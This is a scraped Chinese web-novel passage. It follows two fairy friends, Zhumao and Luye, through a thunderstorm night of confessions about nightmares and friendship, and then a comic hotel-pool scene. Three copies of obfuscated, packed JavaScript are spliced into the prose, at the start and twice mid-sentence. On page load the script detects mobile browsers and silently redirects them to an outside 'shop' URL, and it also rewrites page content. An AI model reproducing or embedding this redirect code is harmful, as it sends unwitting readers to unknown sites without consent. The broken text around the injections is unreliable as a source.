35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208575|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 草,这说的是人话吗。 经过这个不是很重要的莫名濒死小细节,我终于可以顺利地去洗澡了。 尽管早就知道鹿野是个喜欢享受高品质生活的精致妖精,但是看着眼前这个跟我家浴室面积差不多大的豪华白色浴缸,我还是难免陷入了沉默。 ……人家到底是怎么赚到那么多钱的? 我的钱又是怎么没有了?? 兴许是今晚喝了太多酒的缘故,我费劲地揉着脑袋,想了快两分钟才想起自己的大部分钱都拿去做慈善了,只给自己留下了足够生活开销用度的那一小部分就行。 啊,会馆里有个很会做生意的草木系妖精,名叫卡里,是一家分会馆的馆长。 他虽然在战斗力不算特别强,但金融方面强得一批,同时也是总馆的金融顾问之一。 我跟卡里前辈合作成立了两个基金会,一个是环保植树方面的,一个是针对某些战乱地区的医疗卫生问题。 唉……所以我才那么穷嘛。 卡里也问过我为什么要把有限的工资投入到无限的慈善黑洞里呢?(注:此处的“无限”是形容词,非人名。) 我说起码我晚上会睡得安稳一点。 总想着给这片大地做点好事嘛,多积攒一点功德,回头干缺德事时就老天爷能多扣费几年。 卡里很不理解,他甚至骂我“钱在你兜里会咬手吗”,不过最后还是跟我一起合作成立了这两个慈善基金会……也就是最近几年的事情。 先前我也问过周围的朋友们对此感不感兴趣,不过大部分朋友都觉得我这个行为不是很聪明的样子,亦或者身为妖精对于人类的大部分事务都不感兴趣。 鹿野也知道这件事,她当然对此不感兴趣,也拒绝拿自己血汗钱来做什么慈善。 她只是让我哪天穷得要死的时候可以去找她,她至少会给我留一口饭,不至于饿死。 我觉得这样就够了,没指望别人能理解我,这人如果真的愿意无偿投喂我的话能做到一步也算是朋友了。 “喂,竹茂,你死在里面了吗?” 鹿野在外头敲了敲浴室大门,发出温馨提示。 我不满地嚷嚷起来:“暂时还没有,让你失望了吧?” 然后我听见外面有一声很轻的“啧”声,随后鹿野又在门外面问:“你是不是不会用那个花洒?脱衣服没?没有脱的话,要不要我进来教一下你?” 我顿时有点震惊,这家伙难道在外头竖着耳朵听浴室有没有放热水的动静吗…… 虽然我这段时间也只是坐在浴缸边缘思考人生,思考的时间比较久(区区二十分钟)而已。 “鹿野,你不要小看人了好吧……”我不满地对着门外喊道,同时抓起那个对我来说也算是颇为新奇的淋浴设备,另外一只手拧动开关,然后一大股并不算太烫但是很吓人的温水直接喷了我一脸。 我的嘴巴很不争气地发出了惨叫:“啊啊啊这个花洒在攻击我——” 一定是我今晚喝酒太多,平日里刚强爽朗的性格一下子变得软弱无害了起来,现在连区区花洒都能欺负我了,简直岂有此理! “……这日子真是要疯了!竹茂,你没事吧?” 然而我听到鹿野在一边大喊一边猛地用脚踹门的声音,幸亏浴室大门质量很好,竟然能够挡住鹿野最多两下的猛踹! 可是一时间我还是吓得魂都要飞出去。 当即不假思索地扑过去用身子抵住门,对着外头大喊:“没事没事!鹿野你别踢门了!我现在身上没穿衣服——” 外面的动静总算消停下来,过了几秒我才听见这个女人同样贴到门边发问:“你确定自己真的没问题?” “放心吧,妥妥的!” “等会别再喊救命了,说实话,我有点累了。”鹿野在外头疲惫地说。 等好不容易把这个多管闲事的屋主赶走,我才按住狂跳的心脏又坐回了我的临时宝座——浴缸边缘,手里拿着没有开启的花洒,继续思考人生。 心好累,这一天过完感觉我也快疯了。 我讨厌雷雨天。真的。 23.番外一·雷雨夜(完) 当筋疲力尽的我终于能够干干净净地坐回沙发上时,已经是将近早上六点了。 因为吃火锅时都凌晨两点半左右,再加上后来还喝了一个时辰的酒…… 但是外面的雨势如今也只是稍微减弱了一些,并没有完全停下。 我抬起身上这件真丝睡衣的袖子查看,发现确实臂围和袖长之类的尺码比我本人惯常穿的稍微大一点,因此我对坐在对面沙发上看书的鹿野说:“鹿野,你真的不是胖吗?” 她头也不抬地抓起一旁的抱枕砸向我。 我精准无误地在半空中接住了抱枕,并随手把它垫在腰后,这样在单人沙发上葛优瘫也能舒服点。 “再啰嗦就赶你出去。”鹿野一边说着,一边翻着手中一本名为《如何跟笨蛋交流》书籍的下一页。 我立刻诚恳认错:“对不起。” 她没搭理我。 很快,我想起了另外一件事:“话说现在的时间都快到早上了,你还睡觉吗?” “睡啊,为什么不睡。”她再次从书本的顶端抽空瞥了我一眼,眼神凉飕飕的,“在结束最新一个任务后,我突然意识到自己已经三个晚上没合眼了。” “哇,你完了。”我好心提醒,“你要有黑眼圈了。” 我看见鹿野的手先是摸了一下旁边原本放抱枕的地方,摸了个空后,她的随身金属片就威慑力十足的缓慢漂浮起来……“对不起啦!当我没说好吧!” 随身金属又默默地躺回她大腿边上了。 真是好心没好报。 于是我擦擦头上并不存在的冷汗问道:“既然你已经这么疲惫了,为什么还不去睡觉?” 鹿野放下手头的活计,一脸平淡地抬头对我说:“客人还在洗澡,我怎能自己先去休息。” 什么?原来是在等我? 没想到我磨磨蹭蹭地在厕所里思考人生这件事居然耽误了朋友宝贵的睡眠时间,我顿时有点不好意思起来,于是装模作样地站起身:“抱歉,打扰你休息了,那我先告辞了。” 她没吱声,一双蓝幽幽的眼睛就这样盯着我,像是要把我看穿一般。 天哪,这人居然没有挽留我。 我一边慢吞吞地朝着大门口走去,一边注意到外面的雨声明显还没停歇的迹象,心里有点发苦,纠结着是不是刚洗完澡就又要冒雨出门这件事…… 我缓慢举起来的手都以最慢的速度放在了门把手上了,她为什么还不开口挽留一下? “回来。”鹿野坐在沙发上,吐字如金道。 我立刻如释重负地松开门把手,转身笑脸相迎:“鹿野大人还有何吩咐?” “你不就是想要我挽留你嘛。”鹿野似笑非笑地说,“客厅到大门口的几步路愣是走了五分钟。” ……有时候我真的讨厌这些感知组妖精的敏锐程度,说话就正常说话,干嘛突然戳人家肺管子。 不过没等我说出一些提前想好的挽尊说辞,鹿野就把那本摊在大腿上的书本拿开,身体后仰,很自然地跷起二郎腿,问我:“竹茂,你其实根本不想在这种天气出门……更准确来说,你不想一个人独处,对吗?” 我继续保持着和善的笑容:“这有什么问题吗?毕竟每个人都有想要独处的时刻,你不也有吗。” “当然。但我跟你不一样,我享受这些独处时刻。”鹿野饶有兴趣地凝视着我的眼睛,嘴角勾起了一抹如同狩猎前的微笑弧度,“而竹茂——你在恐惧。如果有得选,你根本不会让自己一个人待着。” 说出来了……她就这么说出来了!鹿野这混蛋总是能够轻易地戳穿我的伪装!本地会馆的妖精真是太没有礼貌了!! 我脸上稍显僵硬的笑容都快维持不住了。 然而鹿野紧接着又问:“为什么?你到底在害怕什么?” 我终于不笑了,面色阴沉地站在大门口回望着她。 呼吸间似乎有种无名的怒火在心头燃烧,这副盘问犯人的架势是怎么回事?我又没有欠她钱……好吧,睡衣是她自己愿意送给我的,我又没有勒索她! “关你什么事。” 说出这句话时,我眼角的肌肉都在略微抽搐。这已经是我努力克制失控情绪的最大结果了。 我对待病人和不太熟悉的陌生人都能维持友善和礼节,就算有人骂我或者搞医闹也能保持冷静解决问题的基础态度,但在更熟悉的亲友面前,我总是会不受控制地想要摧毁某些本不该被轻易折损的东西。 ……感觉再谈下去又要把场面搞得很难看了,没办法,我这人总能轻易搞砸一些事情。 想到这里,我愤懑又懊恼地转过身,伸手一把拉开大门,不想再去看鹿野是什么表情。 门外风雨依旧,天色昏暗得不像是日出会准时来临的模样。 “竹茂!”鹿野一下子站起身,在我身后喊道,“我没有恶意!” 我努力忍耐了两秒钟,还是忍不住满腔怒火,直接转身斥责道:“那你一直问我这些事情是做什么?!” 出乎我的预料,面对我近乎无由来的愤怒和指责,鹿野并未同样生气,表情反而是一如既往的平静和深沉。 “因为那就是你的弱点,竹茂。”她轻声开口,语气里透着不易察觉的悲悯,“人如果想要往前走,有时候就要直面自己——我的朋友。” 我的脑袋大概是空白了几秒,迷茫而困惑地看着这个白发的女人,却又恍惚中不止在看她。 弱点? 我的……弱点?是怕雷雨天气? 对啊,为什么? 除去每年这几个月噩梦带来的负面影响,我为什么会恐惧雷电? 身为草木系的妖精,本该欢笑着迎接这万物复苏、象征大自然之力的天象变化。 倏然间,一道沉默的闪电毫无征兆地短暂照亮了整个房屋。 ——我和鹿野都看清楚了彼此的脸色。 在紧随而来的雷鸣咆哮中,我终于想起了一点点的蛛丝马迹。 喃喃自语中,我的声音仿佛是在痴人说梦:“雷声……就像是轰炸机的引擎。” 不是民用飞机,也不是军用战斗机或者武装直升机,而是轰炸机,可以携带众多弹药的专用机种。 在无数次的噩梦中,我亲眼看着那些呼啸掠过人类居住地上空的机械猛禽,无情地投下了名为“燃烧”的死神镰刀。 然后将一切尽数化作无法挽回的地狱火海。 ……好像有人呼唤着我的名字,他们在向我求救,我却什么都做不了。 想不起来那些死者是谁,但我知道他们对我而言很重要。 身为一个以救死扶伤为本职的医生,救不了想救的人,最后只能徒劳无功地穿行在熊熊燃烧的梦境火狱里,放眼四周,既找不到幸免于难之人,也根本找不到那个命运的出口。 听到我给出的解释后,我分明看见鹿野的蓝色瞳孔有一瞬间下意识缩紧到极致。 “原来……” 她仿佛终于解开一道困扰许久的难题,又像是某种郁结的心情突然释怀。 “抱歉,刚才是我失言了,以后我不会再逼问你这些。”鹿野对我低下了头,神情和语气都很诚恳,“不如回来坐着喝杯茶,等雨停了再走。” “……” 鹿野的提议很有诱惑力,说实话,我其实也不想跟这么一个看起来可能会容忍我性格缺陷的朋友彻底闹掰。 于是我的脚步不受控制地转动,走回客厅方向,表面还是嘴硬道:“好吧,就一杯。” 几分钟后,外面的天气阴沉,依旧打雷下雨。而我们两个则是在慢悠悠地喝着热茶,仿佛先前的争吵完全不存在一样。 客厅里谁也没率先开口说话。 原来鹿野这个人在选择沉默时,也是不会随意开口去活络氛围的性格。 这让我想起了刚认识她的那几年,这人好像也是这样。 她独处时会跟自己讲话吗?她的能力又没办法召唤出一个分身,不像我,还能跟草木分身日常吵吵闹闹,互相攻击吐槽。 ——鹿野会孤独吗。其实我想问的这个。 “……” 我微微合上眼,拒绝去思考这个答案。我失控时连自己都顾不上,哪里还有闲暇心情管别人过得好不好? 但还是没人讲话,好像这杯茶就那么美味到必须全神贯注一样。 我有点受不了这种过于死寂的气氛,看了一眼手中琥珀色的热茶,索性随便挑起一个新的话题:“怎么是普洱?” “不好吗?别人送的二十年陈普,外面卖得也不便宜。”鹿野立刻心平气和地回答我,“睡前就别喝什么绿茶了,醒神。” 我又无话可说了,因为我知道鹿野说得年份没错。我是草木系妖精,茶叶这种归属于植物类的产物,尝一口就能品出个大致好坏。 兴许是刚刚吵架后如今总算冷静下来,也可能是身上的长袖长裤睡衣实在是有点闷热,但是真丝面料按道理贴肤又透气……所以我最后意识到,不是天气或者衣服问题,分明是我自己心火太旺了。 ——想要找个人述说,又不想暴露软弱的一面,想要做点什么,最后却什么都没办法去做。 “我累了。”我对同样沉默不说话的鹿野再次开口,“有没有沙发能让我睡一下?” 闻言,鹿野的目光从手中的茶杯飘到我所坐的单人沙发上,又飘回自己身下的同款单人沙发,过了几秒才不太自在地说:“你确定要在这种沙发上睡觉?” 我不确定。 这种单人扶手沙发坐起来很舒服,躺着就不太爽利了,腿和脑袋都不知道挂在哪里才比较合适。 我:“就没有长沙发吗?” “没那个需求。”鹿野干巴巴地说,“所以没买。” 我尴尬地沉默了一会儿,又想起一个可能性:“那客房呢?你这别墅那么大,总有客房吧?” “客房啊……”这白发女人举棋不定地想了想,放下茶杯,“我带你去看看?” 片刻后,我站在这间“客房”门口再次陷入了沉思,这房间里确实有一张简易木板床,但也只有木板,甚至连床垫和其他基本床上用品都没有,木板上甚至还堆满了五花八门的各类家用杂物和收纳箱。 我扭头对她怒声道:“你当初装修的时候根本就没想过要邀请客人来家里吧!” 鹿野理直气壮地点头:“对啊,所以你是第一个来做客的。你脚上穿的还是我的备用拖鞋。” 我的恼怒莫名地就平息下去了。 心好累,头也因为醉酒后而眩晕发疼,不想吵架。 “算了,我还是回家吧,起码有个地方能睡觉。”我有点自暴自弃地说。 “可外面还在下雨。”鹿野赶忙提醒。 我没好气地瞥向她:“那你说怎么办?” 她的脸上再次露出了某种非常迟疑,迟疑到甚至用往常冷淡神情都无法掩饰的那种纠结表情。 “或许还有个办法。” “……睡你床上!?” 我目瞪口呆地看着这个足足占据了二楼近乎全部面积的豪华主卧,脑子都有点停止运转了。 鹿野指了指墙角高处的一台崭新的白色机器:“嗯,有空调。” “重点是空调吗!”我大声吐槽。 “不是吗?” “这种时候就不要装傻了吧。” 面对我的吐槽,鹿野反而笑了:“难得竹茂你有朝一日也会说别人装傻。” 她这么一笑,我也没法再维持紧绷的表情了,整个人都松懈下来。 ——唉,看到别人笑我就想一起笑的这个臭毛病真是改不掉。 不过既然她敢发出邀请,我当然敢赴约,不然搞得我好像怕了鹿野一样。 我大步走进这间主卧,环视四周,虽然内心在惊叹“草这个东西好像很贵!”“这个床这么大可以塞得下三个人了吧”之类的想法,但表面上依旧是装作云淡风轻的样子。 此时鹿野在柜子里找出备用的被褥枕头等物品拿过来,然而出门做客的基本礼仪我还是记得的,因此主动给这家伙一个台阶下:“要不我还是打地铺吧?” 鹿野皱眉:“那怎么行。” “我经常睡地上啊,已经习惯了。”我试图宽慰这家伙,“我们草木妖精没事就喜欢躺土地上睡觉,晒太阳,跟大自然亲近一点。” “我知道,但这不是我的待客之道。”鹿野把那些被褥枕头放在大床的另外一侧,扭头对我不容置疑地发布命令,“磨蹭什么,上来!” 鹿野你有个劳什子的待客之道啊! 你家那么多年都没一个幸运客人被邀请进来过啊!你有没有反思过一下?而且怎么就不允许客人打地铺了?难道以后每个客人来你家都要被强制邀请睡在你的床上,大家一起快快乐乐地大被同眠吗!? ——虽然内心的吐槽如上述文字那样如流水一般窜过,但我表面上还是鬼使神差地说:“好吧。” 关灯了。 主卧里陷入一片令人心慌的黑暗,再加上厚实的遮光窗帘,简直是伸手不见五指的程度。 我听着外头的雨水敲打在玻璃窗上的沉闷声响,只感觉郁结于心,一时间很想辗转反侧来舒缓一番,但又怕吵醒睡在床那边的鹿野。 嗯,对,我们分别占据了大床的两侧,中间留下的“楚河汉界”地带简直还可以再塞入一只吃瓜群众来现场直播。 其实我并不是那种特别认床的性格,这些年除了在总馆里日常出诊,也时常会跟着不同的小队出外勤担任随队医师,要不然就是去一些贫穷落后的地区给当地人(使用人类医疗方法)进行免费义诊。 所以无论是能够一眼就看见星空夜幕的荒凉旷野还是颠簸的牛车拖箱里,我都能安然闭眼休息。 ……但没有一次是比现在这个时刻要更加无法入眠的。 我睁着眼睛瞪着上方陌生漆黑的天花板,逐渐适应昏暗环境的眼睛慢慢看清楚了那一盏水晶吊灯的模样,听见身边那人浅浅而有节奏的呼吸声,感觉自己尴尬到根本睡不着! 也不知过了多久,五分钟?还是十分钟? 我听到一旁的鹿野毫无征兆地开口:“睡着了吗?” “没。” 她顿时低声笑了,兴许是躺在同一张床上的缘故,我能够透过床垫感受到鹿野胸腔微微震动的起伏。我一时间有些出神。 鹿野笑着问我:“怎么,怕我吃了你?” “有本事你就试试。”我没好气道。 其实刚才确实稍微想了一下这个可能性,要不是会馆的铁律之一就是“会馆妖精不能攻击彼此”,我大概早就卷起被子翻窗逃跑了。 后悔了,刚才就应该坚持打地铺的…… “竹茂,你参加过战争吗?” 这次鹿野的语调很轻柔,仿佛是一片羽毛那样落在了尘土里。如果不是现在这个空间非常安静,我也许都听不太清楚她的发音吐字。 在这份黑暗中,我没有扭头去看她,也看不清她的神情,她同样……应该也看不清楚我的表情吧? “我……我不知道。” 可能有人觉得我这个答案非常奇怪,有就是有,没有就是有。但我说的确实是实话。 在这平平无奇的普通妖生八十年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213303|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,我的记忆中没有任何关于战争的影子。 顶多也就是在执行会馆任务时会不得不路过个别的人类交战地区,但我觉得鹿野想问的不是这种“战争”。 可是每年雷雨季的噩梦又像是一个闹铃,如影随形地在特定的日子里提醒着我关于那些光怪陆离、血腥四溅的可怕梦境。 那些不属于我的阴影,为何追逐着我? 我无法理解,无法解决,只能困顿于这样的迷茫和不安之中。 鹿野沉默了一会儿,方才慢慢开口说起关于她自己的话题:“我跟你之前说过吧?我的故乡,还有那场战争。” 在她的提醒下我总算想起来一点往事:“是不是十几年前差点功亏一篑,最后咱俩只能苦哈哈地一起爬悬崖那次?你好像也说是在故乡遇到无限大人的。” “嗯。那次你背着我往上爬,我都记得。” 我倒是没特别在意这些陈年往事:“哎呀,这有什么大不了的,换个人来也会做跟我一样的决定,怎么可能把你一个人扔在悬崖底部等死?” “难说。我认为生死问题上没必要去考验谁,只相信自己。”鹿野的语气幽幽地回答,“可当时做出那个决定的人是你——所以自那天起,你就是我一辈子的朋友了。” “喔!那个,我还没真想到……还是该说一声谢谢?”我有点儿受宠若惊。 这个妖精又笑了,她的笑声很清爽,让我想到了下过雨后的夏夜里庭院吹来的风。 我也忍不住笑出声,只觉得慢慢放松下来,不再那么抗拒入睡了……哪怕在梦中我依旧要与那些不知真假的死亡和痛苦再次重逢。 下一秒我感觉她的右手从她的被子底下静静地伸了过来,躺在那中间地带的空气中,却没有越界。 我有点疑惑:“你这是?” “我们是朋友吧?”鹿野问我,却没有把手缩回去。 “当然!”我回答,但迟疑两秒后还是不太自信地补充道,“如果你不嫌弃我的话。” “我不是那种人。”她自顾自地盯着天花板,冰蓝的瞳孔在昏暗中散发着淡淡的微光——因为我正好扭头看向她才发现了这点,“如果你真心觉得我们是朋友的话,希望竹茂你以后能够对我更加坦诚一点。” 我顿时乐了,半调侃半自嘲地问:“像刚才那样突然就发火也没关系?” “没关系。”鹿野静静地说,像是在阐述什么再平凡不过的事情,“暴怒,悔恨,自责,迷茫,痛苦,敏感,多疑……这些东西就算是全部加起来也不是你原本的模样。就算退一万步来说,那也不是你的错。” 我顿时愣住了。 在这片褪去了白日里伪装之物的房间黑暗之中,我在这个人的提醒下,终于能够稍微平静看待自己的内心。 “别责怪自己。但也别被它们所掌控。”鹿野继续说,“竹茂,你身上有比这些缺点更宝贵的美好品质,我看得出来。” 过了几秒,我才用干巴巴的笑声来掩饰自己内心的狼狈和震撼:“道理我都懂,但是呢,但是……做起来才难。” “我知道。我都知道的。”她语气柔和地回答。 “鹿野,突然说这种感人的话,你到头来不会是想要说什么拯救我吧?”我忽然问。 其实我很讨厌这套理论,什么受苦的人必须要找到自己的救赎或者救主才能得到自由。 在过去,确实有一些朋友想要帮助我,或者在了解我的一些片面故事后就说贸贸然地要拯救我…… ——简直是烦透了。 难道他们还能帮我分担每年定期来访的那些噩梦吗? 难道他们还能承担起一条生命,一段沉重的人生吗? 我打定主意,如果鹿野也要这么说,非要自诩为什么“朋友的救主”这种无聊身份的话,我就要狠狠地嘲笑她然后跳窗而逃…… 但是鹿野只是一如既往平静地回答我: “不。我从未那样想过,也不想去拯救谁,因为没有人能够被另外一个人所真正拯救。” 停顿数秒后,她斩钉截铁道:“竹茂,你得想办法救你自己。” “哪怕是最后只剩下你一个人,你也必须走出来!” 说出这番话时,鹿野恰好回过头来看着我,我能够清楚地看见她那双蓝眸里分明在燃烧着某种东西,像是钢铁一样,坚不可摧。 我的眼眶有点发酸,还好现在房间的光线环境很昏暗,她一定看不清楚我脸上的表情有多复杂。 “如果……我一个人也行的话,要你这家伙做什么?” 好险,那一点点的哭腔差点暴露出来,幸好我好半句直接咬住了后槽牙才保持住语气里的玩笑意味没有露馅。 鹿野非常温和地回答我:“我想,这大概就是‘朋友’这个身份的意义吧。” “在你觉得自己完全摆脱那些弱点和未知的恐惧之前,在一些不得不向他人求助的时刻,你或许可以试着稍微依靠一下我。当然,但也别太依靠我。” 我盯着她的蓝眼睛许久,鹿野也扭过头来凝视着我,目光是我从未见过的平静与温柔。 最后我还是噗嗤一声笑了:“混蛋,耍帅耍到我头上来了?” 她也笑了笑,却没有解释什么,只是抬了抬那条躺在中间地带的右臂以此重新吸引我的注意力。 “在我的故乡有个说法,那就是如果两个人睡觉时牵着手,彼此的梦境就会连接在一起,也可以在梦里见到对方。” 是一个我从来没听过的说法,我顿时瞪大眼睛,惊奇地问:“真的吗?你试过吗?” “没有,是我……以前的师父告诉我的。”鹿野提到更早之前的那位师长时明显沉默了一瞬,但旋即又收拾好了心情,有点狡黠地朝我眨了眨眼,因为她知道我看得见这个动作。 “怎么样?”鹿野问我,“想不想试一下这个说法的真实性……竹茂,你想不想握住我的手?” 我知道,她说的这句话背后含义一定远不止于什么“梦境相遇”之类的简单含义,而是更多的,在人生层次方面向我伸出来的那只援手。 原来我以前也不是真的很了解鹿野这个人。 还好,现在还不晚。 “以后叫我阿竹吧。”我突然说,“以前只有少数亲近的人才会这么叫我。” “好哟,阿竹。”鹿野从善如流地改口,她的右手仍然还没有缩回去,顽固而执拗地躺在那里。 我从被子底下伸出去的左手默默地握住了她的右手。 温暖,有力,掌心与指腹上的薄茧是如此清晰。 在经过几秒钟的短暂愣神后,我能够感受到这个人的手指略微用力地勒紧了我的手掌虎口位置,不疼,但抓得很紧。 于是我的手指同样发力了。 “……阿竹。”鹿野冷不丁地说,“没想到你这力气还蛮大的。” “我这人确实是有几分力气在身。”我心血来潮地问道,“干脆我们别睡了,起来玩掰手腕的角力游戏吧?” 鹿野残忍地拒绝我:“不玩,快睡!困死了!” “哦……”我只好闭嘴。 事实上,之所以会握住那只手我并不想要鹿野也跟着我一起做噩梦,这是我的痛苦,我的责任,不能推给任何人一起承担。 但我完全没法拒绝她的善意。 那样真实、柔软而坦诚的善意。就像鹿野这个人的本质一样。 我感觉眼皮子开始不受控制地上下打架,伴随着身旁那人浅浅的呼吸声和手掌传来的对方体温,残存的清醒意识迅速沉入了那宝贵的安宁之中。 窗外,这一夜的风雨终于停了。 24.咪的天啊 酒店顶楼套房的阳台门边,倚在门口向泳池方向张望的鹿野忽然听见了一阵轻飘飘的悠然曲声。 那曲子她很熟,吹奏乐曲的“乐器”她也熟——因为小草人阿竹不知从哪里找来了一片细长的叶片,漂在水里仰泳的同时将草叶片凑到嘴边,慢悠悠地吹奏出那简单的曲调。 “明明都失忆了,怎么还记得这个调子……”鹿野嘀咕着勾了勾手指,两瓶金属的罐装啤酒就自动飞起来,跟着她的背影一起移动。 阿竹认认真真地吹着叶片,当吹到“天之涯地之角,知交半零落”的时候,她听见有人在岸上跟着唱起来。 “一壶浊酒尽余欢,今宵别梦寒。” 小草人停下演奏曲目的动作,疑惑地在水面上翻了个身坐起来,看见穿着短袖短裤的鹿野披着同色系的长开衫外衣,正坐在泳池旁的编织布太阳椅上,手肘压着光洁的大腿,正饶有兴趣地盯着自己。 “很久没听你吹这个了,怎么不继续演奏?” 阿竹羞涩地挠挠头,有人看着,她脸皮薄,不好意思继续表演。 不过鹿野怎么会知道她在吹奏什么曲子? 于是小草人把那个“乐器”叶片往自己的脑门上方一插,它扭动了几下,像是骤然活过来,重新组成了一个弹幕符号【?】。 ——你知道这曲子? 鹿野看得无语凝噎了几秒:“居然用的是弹幕原料吗……这曲子我熟啊,人类弘一法师填的词,在我小时候也是流行过一段时间的。” 但不管她怎么劝说,阿竹都不肯继续表演才艺了。 鹿野也不勉强这个笨蛋,她心念一动,放在一旁塑料桌上的一罐啤酒就慢慢地飞过去。 “来一罐?” 她知道阿竹在正常状态下酒量惊人,早些时候曾经连续三年蝉联“会馆酒神联赛”的冠军头衔——鹿野觉得怎么会有那么无聊的比赛,还没奖金拿——总之竹茂不知喝趴下多少酒中豪杰,第四年是因为刚好要出一个重要的外勤任务所以自愿放弃参赛。 小草人点点头。 游泳许久,喝了不少泳池水,实在是嘴巴有点淡了。 此时鹿野终于察觉到这本该满满当当的泳池水位早已下降了超过三分之二,探头一看几乎露出蓝色瓷砖底部的泳池,不由自主地吐槽起来:“你到底喝了多少泳池水?能不能喝点干净的……” 害,不干不净,吃了没病! 作为一个急需营养和水分来恢复的小草人妖精,喝个几吨泳池水很正常啊,不要大惊小怪得跟个没见过世面的人类一样。 只见阿竹充耳不闻地用草须小手一把抓住半空中漂浮着的啤酒罐,把它放回最近的岸边瓷砖上,自己同样爬起身。随后她用手轻而易举地拧开易拉罐圆环,然后整个人跳了进去——这家伙开始用啤酒“泡脚”! 里面的液体以肉眼可见的速度在急速下降,而小草人依旧神采奕奕地坐在岸边的啤酒罐里,两只小手和脑袋部分架在外头吹风。 嗯……植物的根须可以吸收水分和营养,怎么不能算是泡脚呢。对吧? 或者非要说是“啤酒浴”也没错啦。 鹿野对此倒是见怪不怪,反正也不是第一次见这个朋友整出什么奇怪的花活儿,她此时在思考另外一件事。 那就是……阿竹明明白天刚恢复时连一双塑料筷子都扛不起来,如今一罐350克的啤酒倒是能够轻松拿捏了。 可惜,看来没法继续拍摄“野生小草人被罐装啤酒彻底驯服”这一系列珍贵影片了。 这个白发的女人也拧开了自己那一罐啤酒,喝了两口后忽然说:“我说阿竹,你不会是已经恢复一部分神志了吧?” 小草人听到有人叫自己名字,登时茫然地回过头来,脑门上的弹幕再次打出一个符号。 【?】 ——你说什么? 鹿野意味深长地笑了起来:“听不懂?” 小草人甩了甩脑袋,收起符号弹幕,有些困倦地用手搓了搓自己圆溜溜的脑袋,从空空如也的啤酒罐里爬出来。 随后阿竹将这个变得很轻的金属罐子举起来,噔噔噔地举着跑到鹿野面前,乖乖地站着,意思是让她帮忙丢弃垃圾。 但是鹿野并没有第一时间伸手去拿,而是低头对站在太阳椅边上的弱智草包朋友理直气壮地说:“阿竹你还记得我四个月跟你借了一笔钱吗?” “其实我是拿去炒股,现在赚了一大笔,算是翻了几番。不过这笔收益我不打算给你任何分红,本金也不打算还你了——反正你现在也什么都不记得。” 说完,鹿野又悠闲自得地喝了一口啤酒。 这番离谱的发言在任何人听来都属实带恶人,更何况依照竹茂平日里抠抠巴巴的节省日子来看,要是有人敢动她的本金,这庸医绝对要勃然大怒到把借债人给活活治得生不如死。 但是如今的阿竹恍若未闻,只是疑惑地歪着脑袋看了看就是不伸手帮忙的鹿野,一双豆豆眼困惑地眨巴起来。 这个没什么耐心的小草人站久了,嫌烦,把空罐子往鹿野的椅子旁一放,自己转身又往泳池方向跑去。 “其实我喜欢你。”鹿野冷不丁地说,同时死死地观察着这家伙的背影。 小草人像是听不懂这么复杂句子那样,头也不回,脚步连停滞一下都没有就一头扎进了剩下的泳池水里,在里面继续没心没肺地快乐游泳起来。 “唔……”鹿野摸着自己的下巴,说不出是庆幸还是遗憾,只是叹了口气,“连着两个试探都不行,看来是真的没恢复神志。” 要是放在平时这家伙能听懂人话时,她这么一说,保证能把竹茂给吓一跳。 鹿野甚至都推测出这家伙的正常下一步反应不是大谈什么“没错我也同样喜欢大家”,要不然就是胡扯些“爱上优秀的我是人之常情这位朋友你不用自卑”之类的屁话。 啧,笨蛋一个。 片刻后,鹿野好生无趣地喝完了剩下的啤酒,此时阿竹也把剩下的泳池水给喝完了,摸着圆滚滚的草包肚子爬起来,然后就抓着鹿野光洁的小腿部分想要往上爬。 然而阿竹很快就发现了一件困难的事情,那就是穿着短裤的鹿野明显不像白日里的长裤那样容易攀爬上去。 这个笨蛋小草人就这样无助地抱着朋友的腿,一路从膝盖滑下去了……阿竹看起来都懵了。 “啊,受不了,你是哪来的水货?连爬都爬不动了!” 鹿野没好气地弯腰伸出手,让阿竹跳上自己的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216402|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌随后又把这小水货放到肩膀上,这才解决了某些小草人攀爬不力、无法登高远眺的烦恼。 她们一起往房间方向走去。 “阿竹,不洗干净的话就别想爬上我的床,听明白没?” 【SOS】 这回小草人倒是听懂了威胁,甚至还打出了求救信号。 可惜无效。 也许唯一能救她的小黑此时早已睡得比谁都香甜了。 接下来鹿野已经可以说是动作娴熟地又把这家伙摁在花洒下给仔细搓洗了一遍,把阿竹给洗得香喷喷的。 这个草人身上总算没有那股啤酒味和泳池消毒水的混杂怪味了。 “好了,你睡这里就行。” 盘腿坐在床上的鹿野拍了拍自己旁边的松软枕头,示意小草人跟自己睡一床就行。 没办法,这个豪华房间里就一张双人大床房。 不过阿竹也没觉得有什么拘束的地方,很自然地往被窝里一钻,平铺的空调薄被底下就鼓起一个明显的小鼓包。 